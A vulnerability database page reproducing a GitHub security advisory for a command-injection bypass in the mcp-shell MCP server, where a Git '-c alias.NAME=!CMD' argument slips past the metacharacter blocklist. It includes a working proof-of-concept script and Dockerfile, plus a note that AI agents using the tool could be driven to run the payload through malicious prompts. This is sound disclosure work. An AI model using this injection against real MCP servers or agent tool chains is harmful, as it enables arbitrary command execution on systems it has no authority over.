GHSA-74HP-MGGR-HV58
Vulnerability from github – Published: 2026-08-25 15:39 – Updated: 2026-08-25 15:39Summary
mcp-shell's "secure mode" is designed to restrict command execution to an allowlist of executables defined in security.yaml. The default configuration includes /usr/bin/git. The security validator in security.go blocks common shell metacharacters (|&;<>(){}[]$\``) but omits!, which is the prefix Git uses to execute shell aliases (alias.NAME=!CMD). An attacker who can invoke theshell_execMCP tool can pass/usr/bin/git -c alias.pwn=!as the command argument, bypassing all validation and achieving arbitrary OS command execution as themcp-shellprocess user. The default Docker image runs asmcpuser` (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required.
Details
The vulnerability is a classic OS Command Injection (CWE-78) in the shell_exec MCP tool handler. The data flow from attacker input to shell execution is:
main.go:89-91— The MCP tool schema exposes a required string parametercommandwith no server-side type constraints.main.go:102—shell_execis bound toshellHandler.handle.handler.go:34— The handler reads the attacker-controlled value:command, err := request.RequireString("command").handler.go:49— The command string is passed toh.validator.validateCommand(command).security.go:136—containsShellMetacharacterschecks for|&;<>(){}[]$\`` but!` is absent from the blocked set.security.go:147-149—containsDangerousShellConstructsalso does not include!.security.go:85-96—/usr/bin/gitmatchesAllowedExecutables; no per-argument policy exists for Git. Theblocked_patternslist insecurity.yaml:35is empty ([]).handler.go:59— The fully validated (but unsafe) command is forwarded toh.executor.execute.executor.go:149-163—parseCommandsplits the string withstrings.Fields;exec.CommandContext(ctx, executable, args...)is called withexecutable="/usr/bin/git"andargs=["-c", "alias.pwn=!touch", "pwn", "/tmp/target"].executor.go:199—cmd.Run()launchesgit. Git interprets-c alias.pwn=!touchas a runtime configuration entry, defining the aliaspwnas the shell commandtouch. When Git resolves the subcommandpwn, it triggers the shell alias:sh -c 'touch "$@"' _ /tmp/target, creating the file.
The root cause is the missing ! in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git's -c alias.*=! pattern.
Incriminated source locations:
- security.go:136 — metacharacter set missing !
- security.go:147-149 — containsDangerousShellConstructs missing !
- security.yaml:27 — /usr/bin/git in allowed_executables
- security.yaml:35 — blocked_patterns: []
- executor.go:149-163,199 — direct exec.CommandContext invocation with unsanitized Git arguments
PoC
Prerequisites:
- Docker installed and the mcp-shell-vuln-001 image built from the provided Dockerfile (repo root as build context, commit c30862f).
- Python 3 to run poc.py.
Build the Docker image:
docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
Run the PoC:
python3 vuln-001/poc.py
The script performs the full MCP JSON-RPC handshake over stdin and sends the following tools/call request:
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {
"command": "/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc",
"base64": false
}
}
}
The container's /tmp is bind-mounted to a host temporary directory so the evidence file can be observed on the host without docker exec.
Expected result:
- MCP response:
{"status":"success","exit_code":0,"execution_time":"~3ms","security_info":{"security_enabled":true,...}} - Evidence file created at
<host_tmp>/mcp-shell-mcp-pocwithuid=1000(mcpuser), confirming arbitrary shell command execution inside the container.
Validation bypass explanation:
| Check | Value tested | Result |
|---|---|---|
containsShellMetacharacters |
alias.pwn=!touch |
false — ! not in blocklist |
containsDangerousShellConstructs |
alias.pwn=!touch |
false — ! not in blocklist |
matchesExecutable |
/usr/bin/git |
true — in AllowedExecutables |
All checks pass; git receives alias.pwn=!touch as a config entry and executes touch as a shell alias.
Impact
This is an OS Command Injection vulnerability (CWE-78). Any entity that can issue an MCP tools/call request to a mcp-shell instance running with the default Docker configuration can execute arbitrary OS commands as the mcpuser process account (UID 1000) inside the container.
The default Docker deployment sets MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml, installs git, and runs as mcpuser. The shell_exec tool requires no additional authentication beyond MCP connectivity. "Secure mode" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely.
Impacted parties:
- Users and operators who deploy the default mcp-shell Docker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network).
- AI agent systems that integrate mcp-shell as a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as the command argument.
Reproduction artifacts
Dockerfile
# VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
# CWE-78: OS Command Injection
#
# This Dockerfile reproduces the exact default Docker deployment environment of
# sonirico/mcp-shell at commit c30862f that is affected by VULN-001.
#
# Vulnerability summary:
# - security.yaml allows /usr/bin/git in allowed_executables
# - The security validator (security.go) does not block '!' in arguments
# - Git's '-c alias.NAME=!CMD' syntax executes CMD as a shell command
# - This bypasses "secure mode" and achieves arbitrary command execution
#
# Build context must be the repo parent directory:
# docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
# Stage 1: Build the mcp-shell binary from the vulnerable source
FROM golang:1.25-alpine AS builder
RUN apk add --no-cache git ca-certificates
WORKDIR /src
# Download dependencies before copying source for better layer caching
COPY repo/go.mod repo/go.sum ./
RUN go mod download
# Copy and build the vulnerable source
COPY repo/*.go ./
RUN CGO_ENABLED=0 GOOS=linux go build \
-ldflags "-s -w" \
-o mcp-shell .
# Stage 2: Runtime environment matching the default mcp-shell Docker image
FROM alpine:3.22
# Install git — this is what the default Dockerfile does (apk add git),
# and it is what makes the exploit possible: /usr/bin/git is present and
# the security config allows it.
RUN apk add --no-cache bash git
# Create non-root user matching the default Docker image
RUN addgroup -g 1000 mcpuser && \
adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser
# Install the mcp-shell binary
COPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell
# Install the default (vulnerable) security configuration.
# Key properties that enable the exploit:
# allowed_executables includes /usr/bin/git
# blocked_patterns is empty
# security.go does not list '!' in blocked metacharacters
COPY repo/security.yaml /etc/mcp-shell/security.yaml
# Replicate the default environment variables from the repo Dockerfile
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV MCP_SHELL_LOG_FORMAT=json
ENV PATH="/usr/local/bin:${PATH}"
USER mcpuser
WORKDIR /home/mcpuser
# mcp-shell reads JSON-RPC over stdin and writes responses to stdout
ENTRYPOINT ["mcp-shell"]
poc.py
#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
Repository: sonirico/mcp-shell (commit c30862f)
CWE-78: OS Command Injection
Vulnerability:
mcp-shell "secure mode" uses security.yaml to allowlist executables.
The default config allows /usr/bin/git. The security validator in
security.go checks for metacharacters (|&;<>(){}[]$`\\) but does NOT
include '!' in the blocked set. Git's -c flag accepts runtime config
overrides; setting 'alias.NAME=!CMD' defines a shell alias that runs
CMD as a shell command when 'NAME' is used as a git subcommand.
Exploit payload (MCP tools/call -> shell_exec argument):
/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc
Validation path (all checks pass):
containsShellMetacharacters("alias.pwn=!touch") -> False (! not in set)
containsDangerousShellConstructs("alias.pwn=!touch") -> False (! not in set)
matchesExecutable("/usr/bin/git", "/usr/bin/git") -> True
Execution path:
exec.CommandContext(ctx, "/usr/bin/git",
"-c", "alias.pwn=!touch", "pwn", "/tmp/mcp-shell-mcp-poc")
-> git defines alias pwn = !touch
-> git runs subcommand "pwn" -> triggers shell alias
-> sh -c 'touch "$@"' _ /tmp/mcp-shell-mcp-poc
-> file /tmp/mcp-shell-mcp-poc is created
Evidence method:
The container's /tmp is bind-mounted to a host temporary directory.
After the MCP call, verify the evidence file exists on the host.
Usage:
# From the repo parent directory:
docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
python3 vuln-001/poc.py
"""
import json
import os
import subprocess
import sys
import tempfile
import stat
IMAGE_NAME = "mcp-shell-vuln-001"
EVIDENCE_FILENAME = "mcp-shell-mcp-poc"
EXPLOIT_TARGET = f"/tmp/{EVIDENCE_FILENAME}"
# MCP JSON-RPC protocol requires:
# 1. initialize handshake (client -> server)
# 2. notifications/initialized acknowledgement
# 3. tools/call with the exploit payload
MCP_INITIALIZE = json.dumps({
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "vuln-001-poc", "version": "1.0.0"},
},
})
MCP_INITIALIZED = json.dumps({
"jsonrpc": "2.0",
"method": "notifications/initialized",
})
# The malicious command:
# /usr/bin/git - allowed by security.yaml AllowedExecutables
# -c alias.pwn=!touch - git runtime config; ! prefix = shell alias
# NOT blocked: '!' absent from security.go metachars
# pwn - triggers the alias (git subcommand lookup)
# /tmp/<file> - argument forwarded to touch by git shell alias
MCP_EXPLOIT = json.dumps({
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "shell_exec",
"arguments": {
"command": f"/usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}",
"base64": False,
},
},
})
def run(args, **kwargs):
print(f"[*] {' '.join(str(a) for a in args)}")
return subprocess.run(args, **kwargs)
def parse_mcp_response(stdout_text):
"""Parse newline-delimited JSON-RPC responses, return the tools/call result."""
for line in stdout_text.splitlines():
line = line.strip()
if not line:
continue
try:
msg = json.loads(line)
if msg.get("id") == 2:
return msg
except json.JSONDecodeError:
pass
return None
def main():
print("=" * 62)
print("VULN-001 PoC — mcp-shell Secure Mode Bypass via Git Alias")
print("=" * 62)
print()
# Create a host-side temporary directory that will be bind-mounted
# as /tmp inside the container. This lets us observe file creation
# caused by the git shell alias without needing 'docker exec'.
host_tmp = tempfile.mkdtemp(prefix="mcp-vuln001-")
# Allow UID 1000 (mcpuser inside the container) to write files here.
os.chmod(host_tmp, 0o1777)
evidence_host_path = os.path.join(host_tmp, EVIDENCE_FILENAME)
print(f"[*] Host bind-mount (-> /tmp inside container): {host_tmp}")
print(f"[*] Expected evidence file on host: {evidence_host_path}")
print()
print(f"[*] Exploit command (shell_exec argument):")
print(f" /usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}")
print()
# Build the newline-delimited JSON-RPC payload sent over stdin.
# mcp-shell reads one JSON object per line.
payload_bytes = (
MCP_INITIALIZE + "\n" +
MCP_INITIALIZED + "\n" +
MCP_EXPLOIT + "\n"
).encode()
print("[*] Sending MCP JSON-RPC payload to container via stdin ...")
try:
proc = run(
[
"docker", "run",
"--rm", # Remove container on exit
"-i", # Keep stdin open for piped input
"--network=none", # No external network access (safety)
"-v", f"{host_tmp}:/tmp", # Expose container's /tmp on host
IMAGE_NAME,
],
input=payload_bytes,
capture_output=True,
timeout=40,
)
except subprocess.TimeoutExpired:
print("[FAIL] docker run timed out after 40 seconds")
sys.exit(1)
except FileNotFoundError:
print("[FAIL] 'docker' not found — install Docker to run this PoC")
sys.exit(1)
stdout = proc.stdout.decode(errors="replace")
stderr = proc.stderr.decode(errors="replace")
print()
print("[*] Container stdout (MCP responses):")
for line in stdout.splitlines():
print(f" {line}")
if stderr.strip():
print("[*] Container stderr:")
for line in stderr.splitlines():
print(f" {line}")
print()
# Locate and pretty-print the tools/call MCP response.
exploit_response = parse_mcp_response(stdout)
if exploit_response:
print("[*] MCP tools/call response (id=2):")
print(json.dumps(exploit_response, indent=4))
print()
# --- Primary evidence check ---
if os.path.exists(evidence_host_path):
st = os.stat(evidence_host_path)
print(f"[PASS] Evidence file found on host: {evidence_host_path}")
print(f" size={st.st_size} mode={oct(st.st_mode)} uid={st.st_uid}")
print()
print("[PASS] EXPLOIT SUCCESSFUL")
print(" 'touch /tmp/mcp-shell-mcp-poc' was executed INSIDE the container")
print(" by the git shell alias, bypassing mcp-shell secure mode.")
passed = True
evidence = (
f"File '{evidence_host_path}' created on host via /tmp volume mount. "
f"size={st.st_size} uid={st.st_uid} mode={oct(st.st_mode)}. "
f"MCP response: {json.dumps(exploit_response) if exploit_response else 'n/a'}"
)
else:
print(f"[FAIL] Evidence file NOT found at: {evidence_host_path}")
print("[FAIL] EXPLOIT FAILED")
if exploit_response:
result_content = exploit_response.get("result", {})
print(f" MCP result: {json.dumps(result_content)}")
passed = False
evidence = (
f"Evidence file was not created. "
f"stdout={stdout[:600]!r} stderr={stderr[:300]!r}"
)
print()
return passed, evidence
if __name__ == "__main__":
passed, evidence = main()
sys.exit(0 if passed else 1)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/sonirico/mcp-shell"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55582"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:39:05Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`mcp-shell`\u0027s \"secure mode\" is designed to restrict command execution to an allowlist of executables defined in `security.yaml`. The default configuration includes `/usr/bin/git`. The security validator in `security.go` blocks common shell metacharacters (`|\u0026;\u003c\u003e(){}[]$\\``) but omits `!`, which is the prefix Git uses to execute shell aliases (`alias.NAME=!CMD`). An attacker who can invoke the `shell_exec` MCP tool can pass `/usr/bin/git -c alias.pwn=!\u003carbitrary-command\u003e` as the command argument, bypassing all validation and achieving arbitrary OS command execution as the `mcp-shell` process user. The default Docker image runs as `mcpuser` (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required.\n\n### Details\n\nThe vulnerability is a classic OS Command Injection (CWE-78) in the `shell_exec` MCP tool handler. The data flow from attacker input to shell execution is:\n\n1. **`main.go:89-91`** \u2014 The MCP tool schema exposes a required string parameter `command` with no server-side type constraints.\n2. **`main.go:102`** \u2014 `shell_exec` is bound to `shellHandler.handle`.\n3. **`handler.go:34`** \u2014 The handler reads the attacker-controlled value: `command, err := request.RequireString(\"command\")`.\n4. **`handler.go:49`** \u2014 The command string is passed to `h.validator.validateCommand(command)`.\n5. **`security.go:136`** \u2014 `containsShellMetacharacters` checks for `|\u0026;\u003c\u003e(){}[]$\\`` but `!` is absent from the blocked set.\n6. **`security.go:147-149`** \u2014 `containsDangerousShellConstructs` also does not include `!`.\n7. **`security.go:85-96`** \u2014 `/usr/bin/git` matches `AllowedExecutables`; no per-argument policy exists for Git. The `blocked_patterns` list in `security.yaml:35` is empty (`[]`).\n8. **`handler.go:59`** \u2014 The fully validated (but unsafe) command is forwarded to `h.executor.execute`.\n9. **`executor.go:149-163`** \u2014 `parseCommand` splits the string with `strings.Fields`; `exec.CommandContext(ctx, executable, args...)` is called with `executable=\"/usr/bin/git\"` and `args=[\"-c\", \"alias.pwn=!touch\", \"pwn\", \"/tmp/target\"]`.\n10. **`executor.go:199`** \u2014 `cmd.Run()` launches `git`. Git interprets `-c alias.pwn=!touch` as a runtime configuration entry, defining the alias `pwn` as the shell command `touch`. When Git resolves the subcommand `pwn`, it triggers the shell alias: `sh -c \u0027touch \"$@\"\u0027 _ /tmp/target`, creating the file.\n\nThe root cause is the missing `!` in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git\u0027s `-c alias.*=!` pattern.\n\nIncriminated source locations:\n- `security.go:136` \u2014 metacharacter set missing `!`\n- `security.go:147-149` \u2014 `containsDangerousShellConstructs` missing `!`\n- `security.yaml:27` \u2014 `/usr/bin/git` in `allowed_executables`\n- `security.yaml:35` \u2014 `blocked_patterns: []`\n- `executor.go:149-163,199` \u2014 direct `exec.CommandContext` invocation with unsanitized Git arguments\n\n### PoC\n\n**Prerequisites:**\n- Docker installed and the `mcp-shell-vuln-001` image built from the provided `Dockerfile` (repo root as build context, commit `c30862f`).\n- Python 3 to run `poc.py`.\n\n**Build the Docker image:**\n\n```bash\ndocker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .\n```\n\n**Run the PoC:**\n\n```bash\npython3 vuln-001/poc.py\n```\n\nThe script performs the full MCP JSON-RPC handshake over stdin and sends the following `tools/call` request:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"shell_exec\",\n \"arguments\": {\n \"command\": \"/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc\",\n \"base64\": false\n }\n }\n}\n```\n\nThe container\u0027s `/tmp` is bind-mounted to a host temporary directory so the evidence file can be observed on the host without `docker exec`.\n\n**Expected result:**\n\n- MCP response: `{\"status\":\"success\",\"exit_code\":0,\"execution_time\":\"~3ms\",\"security_info\":{\"security_enabled\":true,...}}`\n- Evidence file created at `\u003chost_tmp\u003e/mcp-shell-mcp-poc` with `uid=1000` (mcpuser), confirming arbitrary shell command execution inside the container.\n\n**Validation bypass explanation:**\n\n| Check | Value tested | Result |\n|---|---|---|\n| `containsShellMetacharacters` | `alias.pwn=!touch` | `false` \u2014 `!` not in blocklist |\n| `containsDangerousShellConstructs` | `alias.pwn=!touch` | `false` \u2014 `!` not in blocklist |\n| `matchesExecutable` | `/usr/bin/git` | `true` \u2014 in `AllowedExecutables` |\n\nAll checks pass; `git` receives `alias.pwn=!touch` as a config entry and executes `touch` as a shell alias.\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). Any entity that can issue an MCP `tools/call` request to a `mcp-shell` instance running with the default Docker configuration can execute arbitrary OS commands as the `mcpuser` process account (UID 1000) inside the container.\n\nThe default Docker deployment sets `MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml`, installs `git`, and runs as `mcpuser`. The `shell_exec` tool requires no additional authentication beyond MCP connectivity. \"Secure mode\" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely.\n\nImpacted parties:\n- **Users and operators** who deploy the default `mcp-shell` Docker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network).\n- **AI agent systems** that integrate `mcp-shell` as a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as the `command` argument.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias\n# CWE-78: OS Command Injection\n#\n# This Dockerfile reproduces the exact default Docker deployment environment of\n# sonirico/mcp-shell at commit c30862f that is affected by VULN-001.\n#\n# Vulnerability summary:\n# - security.yaml allows /usr/bin/git in allowed_executables\n# - The security validator (security.go) does not block \u0027!\u0027 in arguments\n# - Git\u0027s \u0027-c alias.NAME=!CMD\u0027 syntax executes CMD as a shell command\n# - This bypasses \"secure mode\" and achieves arbitrary command execution\n#\n# Build context must be the repo parent directory:\n# docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .\n\n# Stage 1: Build the mcp-shell binary from the vulnerable source\nFROM golang:1.25-alpine AS builder\n\nRUN apk add --no-cache git ca-certificates\n\nWORKDIR /src\n\n# Download dependencies before copying source for better layer caching\nCOPY repo/go.mod repo/go.sum ./\nRUN go mod download\n\n# Copy and build the vulnerable source\nCOPY repo/*.go ./\nRUN CGO_ENABLED=0 GOOS=linux go build \\\n -ldflags \"-s -w\" \\\n -o mcp-shell .\n\n# Stage 2: Runtime environment matching the default mcp-shell Docker image\nFROM alpine:3.22\n\n# Install git \u2014 this is what the default Dockerfile does (apk add git),\n# and it is what makes the exploit possible: /usr/bin/git is present and\n# the security config allows it.\nRUN apk add --no-cache bash git\n\n# Create non-root user matching the default Docker image\nRUN addgroup -g 1000 mcpuser \u0026\u0026 \\\n adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser\n\n# Install the mcp-shell binary\nCOPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell\n\n# Install the default (vulnerable) security configuration.\n# Key properties that enable the exploit:\n# allowed_executables includes /usr/bin/git\n# blocked_patterns is empty\n# security.go does not list \u0027!\u0027 in blocked metacharacters\nCOPY repo/security.yaml /etc/mcp-shell/security.yaml\n\n# Replicate the default environment variables from the repo Dockerfile\nENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml\nENV MCP_SHELL_LOG_FORMAT=json\nENV PATH=\"/usr/local/bin:${PATH}\"\n\nUSER mcpuser\nWORKDIR /home/mcpuser\n\n# mcp-shell reads JSON-RPC over stdin and writes responses to stdout\nENTRYPOINT [\"mcp-shell\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias\nRepository: sonirico/mcp-shell (commit c30862f)\nCWE-78: OS Command Injection\n\nVulnerability:\n mcp-shell \"secure mode\" uses security.yaml to allowlist executables.\n The default config allows /usr/bin/git. The security validator in\n security.go checks for metacharacters (|\u0026;\u003c\u003e(){}[]$`\\\\) but does NOT\n include \u0027!\u0027 in the blocked set. Git\u0027s -c flag accepts runtime config\n overrides; setting \u0027alias.NAME=!CMD\u0027 defines a shell alias that runs\n CMD as a shell command when \u0027NAME\u0027 is used as a git subcommand.\n\nExploit payload (MCP tools/call -\u003e shell_exec argument):\n /usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc\n\n Validation path (all checks pass):\n containsShellMetacharacters(\"alias.pwn=!touch\") -\u003e False (! not in set)\n containsDangerousShellConstructs(\"alias.pwn=!touch\") -\u003e False (! not in set)\n matchesExecutable(\"/usr/bin/git\", \"/usr/bin/git\") -\u003e True\n\n Execution path:\n exec.CommandContext(ctx, \"/usr/bin/git\",\n \"-c\", \"alias.pwn=!touch\", \"pwn\", \"/tmp/mcp-shell-mcp-poc\")\n -\u003e git defines alias pwn = !touch\n -\u003e git runs subcommand \"pwn\" -\u003e triggers shell alias\n -\u003e sh -c \u0027touch \"$@\"\u0027 _ /tmp/mcp-shell-mcp-poc\n -\u003e file /tmp/mcp-shell-mcp-poc is created\n\nEvidence method:\n The container\u0027s /tmp is bind-mounted to a host temporary directory.\n After the MCP call, verify the evidence file exists on the host.\n\nUsage:\n # From the repo parent directory:\n docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .\n python3 vuln-001/poc.py\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport stat\n\nIMAGE_NAME = \"mcp-shell-vuln-001\"\nEVIDENCE_FILENAME = \"mcp-shell-mcp-poc\"\nEXPLOIT_TARGET = f\"/tmp/{EVIDENCE_FILENAME}\"\n\n# MCP JSON-RPC protocol requires:\n# 1. initialize handshake (client -\u003e server)\n# 2. notifications/initialized acknowledgement\n# 3. tools/call with the exploit payload\nMCP_INITIALIZE = json.dumps({\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"vuln-001-poc\", \"version\": \"1.0.0\"},\n },\n})\n\nMCP_INITIALIZED = json.dumps({\n \"jsonrpc\": \"2.0\",\n \"method\": \"notifications/initialized\",\n})\n\n# The malicious command:\n# /usr/bin/git - allowed by security.yaml AllowedExecutables\n# -c alias.pwn=!touch - git runtime config; ! prefix = shell alias\n# NOT blocked: \u0027!\u0027 absent from security.go metachars\n# pwn - triggers the alias (git subcommand lookup)\n# /tmp/\u003cfile\u003e - argument forwarded to touch by git shell alias\nMCP_EXPLOIT = json.dumps({\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"shell_exec\",\n \"arguments\": {\n \"command\": f\"/usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}\",\n \"base64\": False,\n },\n },\n})\n\n\ndef run(args, **kwargs):\n print(f\"[*] {\u0027 \u0027.join(str(a) for a in args)}\")\n return subprocess.run(args, **kwargs)\n\n\ndef parse_mcp_response(stdout_text):\n \"\"\"Parse newline-delimited JSON-RPC responses, return the tools/call result.\"\"\"\n for line in stdout_text.splitlines():\n line = line.strip()\n if not line:\n continue\n try:\n msg = json.loads(line)\n if msg.get(\"id\") == 2:\n return msg\n except json.JSONDecodeError:\n pass\n return None\n\n\ndef main():\n print(\"=\" * 62)\n print(\"VULN-001 PoC \u2014 mcp-shell Secure Mode Bypass via Git Alias\")\n print(\"=\" * 62)\n print()\n\n # Create a host-side temporary directory that will be bind-mounted\n # as /tmp inside the container. This lets us observe file creation\n # caused by the git shell alias without needing \u0027docker exec\u0027.\n host_tmp = tempfile.mkdtemp(prefix=\"mcp-vuln001-\")\n # Allow UID 1000 (mcpuser inside the container) to write files here.\n os.chmod(host_tmp, 0o1777)\n evidence_host_path = os.path.join(host_tmp, EVIDENCE_FILENAME)\n\n print(f\"[*] Host bind-mount (-\u003e /tmp inside container): {host_tmp}\")\n print(f\"[*] Expected evidence file on host: {evidence_host_path}\")\n print()\n print(f\"[*] Exploit command (shell_exec argument):\")\n print(f\" /usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}\")\n print()\n\n # Build the newline-delimited JSON-RPC payload sent over stdin.\n # mcp-shell reads one JSON object per line.\n payload_bytes = (\n MCP_INITIALIZE + \"\\n\" +\n MCP_INITIALIZED + \"\\n\" +\n MCP_EXPLOIT + \"\\n\"\n ).encode()\n\n print(\"[*] Sending MCP JSON-RPC payload to container via stdin ...\")\n try:\n proc = run(\n [\n \"docker\", \"run\",\n \"--rm\", # Remove container on exit\n \"-i\", # Keep stdin open for piped input\n \"--network=none\", # No external network access (safety)\n \"-v\", f\"{host_tmp}:/tmp\", # Expose container\u0027s /tmp on host\n IMAGE_NAME,\n ],\n input=payload_bytes,\n capture_output=True,\n timeout=40,\n )\n except subprocess.TimeoutExpired:\n print(\"[FAIL] docker run timed out after 40 seconds\")\n sys.exit(1)\n except FileNotFoundError:\n print(\"[FAIL] \u0027docker\u0027 not found \u2014 install Docker to run this PoC\")\n sys.exit(1)\n\n stdout = proc.stdout.decode(errors=\"replace\")\n stderr = proc.stderr.decode(errors=\"replace\")\n\n print()\n print(\"[*] Container stdout (MCP responses):\")\n for line in stdout.splitlines():\n print(f\" {line}\")\n\n if stderr.strip():\n print(\"[*] Container stderr:\")\n for line in stderr.splitlines():\n print(f\" {line}\")\n\n print()\n\n # Locate and pretty-print the tools/call MCP response.\n exploit_response = parse_mcp_response(stdout)\n if exploit_response:\n print(\"[*] MCP tools/call response (id=2):\")\n print(json.dumps(exploit_response, indent=4))\n print()\n\n # --- Primary evidence check ---\n if os.path.exists(evidence_host_path):\n st = os.stat(evidence_host_path)\n print(f\"[PASS] Evidence file found on host: {evidence_host_path}\")\n print(f\" size={st.st_size} mode={oct(st.st_mode)} uid={st.st_uid}\")\n print()\n print(\"[PASS] EXPLOIT SUCCESSFUL\")\n print(\" \u0027touch /tmp/mcp-shell-mcp-poc\u0027 was executed INSIDE the container\")\n print(\" by the git shell alias, bypassing mcp-shell secure mode.\")\n passed = True\n evidence = (\n f\"File \u0027{evidence_host_path}\u0027 created on host via /tmp volume mount. \"\n f\"size={st.st_size} uid={st.st_uid} mode={oct(st.st_mode)}. \"\n f\"MCP response: {json.dumps(exploit_response) if exploit_response else \u0027n/a\u0027}\"\n )\n else:\n print(f\"[FAIL] Evidence file NOT found at: {evidence_host_path}\")\n print(\"[FAIL] EXPLOIT FAILED\")\n if exploit_response:\n result_content = exploit_response.get(\"result\", {})\n print(f\" MCP result: {json.dumps(result_content)}\")\n passed = False\n evidence = (\n f\"Evidence file was not created. \"\n f\"stdout={stdout[:600]!r} stderr={stderr[:300]!r}\"\n )\n\n print()\n return passed, evidence\n\n\nif __name__ == \"__main__\":\n passed, evidence = main()\n sys.exit(0 if passed else 1)\n```",
"id": "GHSA-74hp-mggr-hv58",
"modified": "2026-08-25T15:39:06Z",
"published": "2026-08-25T15:39:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/security/advisories/GHSA-74hp-mggr-hv58"
},
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/pull/16"
},
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f"
},
{
"type": "PACKAGE",
"url": "https://github.com/sonirico/mcp-shell"
},
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "mcp-shell has a Secure Mode Allowlist Bypass via Git Shell Alias"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.